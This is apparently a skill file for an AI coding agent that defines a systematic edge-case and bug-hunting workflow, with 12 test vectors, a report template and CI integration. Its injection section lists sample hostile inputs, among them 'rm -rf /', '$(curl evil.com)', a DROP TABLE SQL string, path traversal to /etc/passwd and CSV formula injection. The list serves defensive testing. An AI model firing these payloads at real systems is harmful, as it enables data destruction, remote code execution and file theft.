| name | edge-case-hunter |
| description | Deep edge case discovery and bug hunting skill. Systematically finds bugs, crashes, security issues, and data corruption risks in any codebase. Uses 12 attack vectors: type coercion, boundary values, null/undefined, race conditions, injection, overflow, encoding, state machines, concurrency, file formats, API contracts, and UI edge cases. Actions: hunt, scan, audit, fuzz, stress, probe, test. Targets: API endpoints, parsers, forms, state machines, database operations, file uploads, auth flows, payment flows, email templates, PDF generation. Outputs: categorized bug reports with reproduction steps, severity ratings, and fix suggestions. |
Edge Case Hunter - Bug Discovery Intelligence
Systematic edge case discovery and bug hunting framework. 12 attack vectors, 150+ edge case patterns, severity-based triage. Finds bugs that users find in production — before they do.
When to Invoke
Use /edge-case-hunter or invoke this skill when:
- Starting a new feature (hunt BEFORE release, not after)
- After writing code (find what you missed)
- Before a release/deploy (final sweep)
- When a bug is reported (find related bugs in the same area)
- During code review (systematic edge case check)
- When the user says: "find bugs", "test edge cases", "hunt bugs", "what could break", "stress test", "fuzz", "audit for bugs"
Execution Protocol
When invoked, follow this exact sequence:
Phase 1: Reconnaissance (READ ONLY)
-
Identify the TARGET — what part of the codebase to hunt in
- If user specifies a target: use that
- If no target: scan the full app for high-risk areas (parsers, auth, payments, file handling, state machines)
-
Map the attack surface:
- List all INPUT points (user input, file uploads, API params, URL params, env vars, DB data)
- List all STATE transitions (auth states, payment states, audit states, subscription states)
- List all EXTERNAL dependencies (APIs, DB, file system, email, AI/LLM calls)
- List all TYPE boundaries (string↔number, null↔undefined, array↔object)
-
Read the code around each input/state/dependency point
Phase 2: Hunt (12 Attack Vectors)
For each input point, systematically apply these vectors:
Vector 1: Type Coercion & Wrong Types
- String where number expected (and vice versa)
- Boolean where string expected
- Array where single value expected
- Object where primitive expected
- BigInt, Symbol, undefined, NaN, Infinity
- null vs undefined vs "" vs 0 vs false
- Date objects vs date strings vs timestamps
Vector 2: Boundary Values
- Zero, negative, MAX_SAFE_INTEGER, MIN_SAFE_INTEGER
- Empty string, single char, 10K char string, 1M char string
- Empty array, single element, 100K elements
- Dates: epoch, year 9999, year 0, Feb 29, DST transitions
- Money: 0.00, 0.001 (3 decimals), -1, MAX_INT cents
- Floating point: 0.1 + 0.2, Number.EPSILON
Vector 3: Null, Undefined, Missing
- null fields in required positions
- undefined fields (key missing vs key: undefined)
- Optional fields ALL missing vs ALL present
- Nested null: obj.nested.deep when obj.nested is null
- Array with null elements: [1, null, 3]
- Empty object {} where populated object expected
Vector 4: Race Conditions & Timing
- Double-click / double-submit
- Request during pending request (stale closure)
- Component unmount during async operation
- Concurrent mutations to same resource
- Out-of-order response arrival
- Token expiry mid-operation
- Webhook before user redirect completes
Vector 5: Injection & Security
- SQL injection: ' OR 1=1; DROP TABLE --
- XSS: <script>alert(1)</script>, javascript:, data:
- Command injection: ; rm -rf / or $(curl evil.com)
- Path traversal: ../../../etc/passwd
- CRLF injection: header\r\nX-Injected: true
- CSV formula injection: =CMD|'/C calc'!A0
- Template injection: {{constructor.constructor('return this')()}}
- Prototype pollution: __proto__, constructor, prototype
Vector 6: Overflow & Resource Exhaustion
- Array/object with 1M entries
- Recursive/nested structures (stack overflow)
- Regex DoS: (a+)+$ with "aaa...!"
- Memory: creating large buffers without limits
- File size: upload 0 bytes, 1 byte, 10GB
- Request count: 1000 concurrent requests
- Query result: SELECT returning 1M rows
Vector 7: Encoding & i18n
- UTF-8 BOM, UTF-16, Latin-1, Shift-JIS
- Emoji in text fields: "John 🔥 Doe"
- RTL characters mixed with LTR
- Null bytes: "hello\0world"
- Unicode normalization: "cafe\u0301" vs "caf\u00e9"
- Zero-width characters: \u200B, \uFEFF
- Homoglyph attacks: "pаypal" (Cyrillic "a")
Vector 8: State Machine Violations
- Skip states: go from "created" directly to "completed"
- Revisit states: go back to "processing" from "completed"
- Invalid transitions: "failed" → "processing" without reset
- Concurrent state changes: two users changing same state
- State + side effects: what if email sends but DB update fails?
- Orphaned states: process crashes mid-transition
Vector 9: Concurrency & Distributed
- Two tabs, same user, same action
- Optimistic update followed by server rejection
- Stale data in cache vs fresh data in DB
- Webhook delivered twice (idempotency)
- Clock skew between servers
- Transaction isolation violations
Vector 10: File Format Attacks
- CSV: wrong delimiter, BOM, 100K columns, binary disguised as CSV
- Excel: password-protected, corrupted, macro-enabled (.xlsm)
- PDF: encrypted, malformed, 1000-page, zero-page
- Images: SVG with scripts, EXIF injection, polyglot files
- ZIP bombs, XML bombs (billion laughs)
Vector 11: API Contract Violations
- Extra fields in request body (mass assignment)
- Missing required fields
- Wrong content-type header
- Expired/invalid/missing auth token
- Rate limit boundary
- Pagination: page 0, page -1, page 999999
- Sort by non-existent field
- Filter with SQL in value
Vector 12: UI & UX Edge Cases
- Rapid navigation (back/forward spam)
- Form submit with Enter key vs button click
- Paste into restricted input
- Browser back after form submit (double submit)
- Window resize during modal/dialog
- Network offline then online (reconnection)
- Copy-paste from Word/Excel (hidden formatting)
- Autocomplete interaction with validation
- Screen reader navigation order
- Zoom 400% (accessibility)
Phase 3: Triage & Report
For each bug found, create an entry with:
## BUG-{number}: {title}
**Severity:** CRITICAL / HIGH / MEDIUM / LOW
**Vector:** {which of the 12 vectors}
**Location:** {file:line}
**Reproduction:**
1. Step 1
2. Step 2
3. Expected: X
4. Actual: Y
**Impact:** {what happens in production}
**Fix suggestion:** {concrete code change}
Severity guide:
- CRITICAL: Data loss, security breach, payment error, crash in core flow
- HIGH: Feature broken for subset of users, data corruption, silent failure
- MEDIUM: UI glitch, non-blocking error, edge case that rarely occurs
- LOW: Cosmetic, log noise, theoretical vulnerability
Phase 4: Test Generation
For each bug found:
- Write a failing test that reproduces the bug
- Suggest the fix
- Write the test that passes after the fix
Output format: vitest for unit/integration, Playwright for E2E.
Phase 5: Prioritized Fix List
Sort all findings by:
- CRITICAL bugs (fix immediately)
- HIGH bugs (fix before release)
- MEDIUM bugs (fix this sprint)
- LOW bugs (backlog)
Quick Commands
/edge-case-hunter scan — Full reconnaissance + hunt across entire app
/edge-case-hunter hunt <path> — Focus hunt on specific file/directory
/edge-case-hunter fuzz <function> — Generate adversarial inputs for a function
/edge-case-hunter audit security — Security-focused scan (vectors 5, 6, 11)
/edge-case-hunter audit data — Data integrity scan (vectors 1, 2, 3, 10)
/edge-case-hunter audit state — State machine & race condition scan (vectors 4, 8, 9)
/edge-case-hunter audit ui — UI/UX edge case scan (vector 12)
/edge-case-hunter stress <path> — Performance & resource exhaustion (vector 6)
/edge-case-hunter report — Generate full bug report from last scan
Agent Strategy
When hunting, use parallel Sonnet agents (model: "sonnet", run_in_background: true) to cover multiple vectors simultaneously:
- Agent 1: Vectors 1-3 (types, boundaries, nulls)
- Agent 2: Vectors 4-6 (race conditions, injection, overflow)
- Agent 3: Vectors 7-9 (encoding, state machines, concurrency)
- Agent 4: Vectors 10-12 (file formats, API contracts, UI)
Each agent reads code, identifies bugs, writes tests. Results are merged into a single prioritized report.
Technology-Specific Patterns
Next.js App Router
- Server Action without Zod validation → mass assignment
params not awaited (Next.js 15+ async params)
- Missing
notFound() in dynamic routes → 200 for non-existent pages
- Client component importing server-only code
- Metadata export in client component (silently ignored)
revalidatePath without revalidateTag → stale cache
TypeScript
as casts hiding runtime type mismatches
any types propagating through the codebase
- Optional chaining hiding null bugs (
obj?.prop silently becomes undefined)
- Enum exhaustiveness: missing switch cases
- Generic defaults masking type errors
Database (Drizzle/Prisma)
- N+1 queries in loops
- Missing transactions for multi-step mutations
- Race condition on unique constraint (TOCTOU)
- Decimal precision loss (float vs integer cents)
- Missing indexes on FK columns
- Orphaned records after parent delete
Auth (NextAuth)
- Session check on API route but not server action
- Token refresh race condition
- Role escalation via direct API call
- CSRF on state-changing GET request
- Open redirect in callback URL
Payments (Stripe)
- Webhook signature verification missing
- Double charge on retry
- Subscription created but DB not updated (webhook failure)
- Price mismatch between frontend and Stripe
- Currency mismatch
- Free trial end without payment method
Example Output
=== EDGE CASE HUNTER REPORT ===
Target: src/actions/audit.ts
Vectors applied: 1-12
Bugs found: 7 (2 CRITICAL, 3 HIGH, 1 MEDIUM, 1 LOW)
## BUG-1: CSV automapper fails silently on empty file
Severity: HIGH
Vector: 3 (Null/Missing)
Location: src/actions/audit.ts:47
Reproduction:
1. Upload empty CSV file (0 bytes)
2. parseFile returns { headers: [], rows: [] }
3. autoMapCSV receives empty headers → LLM returns empty mapping
4. Transform produces 0 candidates
5. runAudit with 0 candidates → unclear behavior
Impact: User sees no error but audit shows no results
Fix: Add early return with clear error when rows.length === 0
## BUG-2: Race condition on quota check
Severity: CRITICAL
Vector: 4 (Race Conditions)
Location: src/actions/audit.ts:62
Reproduction:
1. User on TRIAL plan (1 audit max)
2. Open two tabs, upload CSV in both simultaneously
3. Both pass quota check (count=0 < limit=1)
4. Both create audits → user now has 2 audits on TRIAL
Impact: Quota bypass, potential revenue loss
Fix: Use SELECT FOR UPDATE or atomic increment in quota check
Integration with CI
Add to your CI pipeline:
- name: Edge Case Scan
run: claude "/edge-case-hunter scan"
if: github.event_name == 'pull_request'
This runs the hunter on every PR to catch edge cases before merge.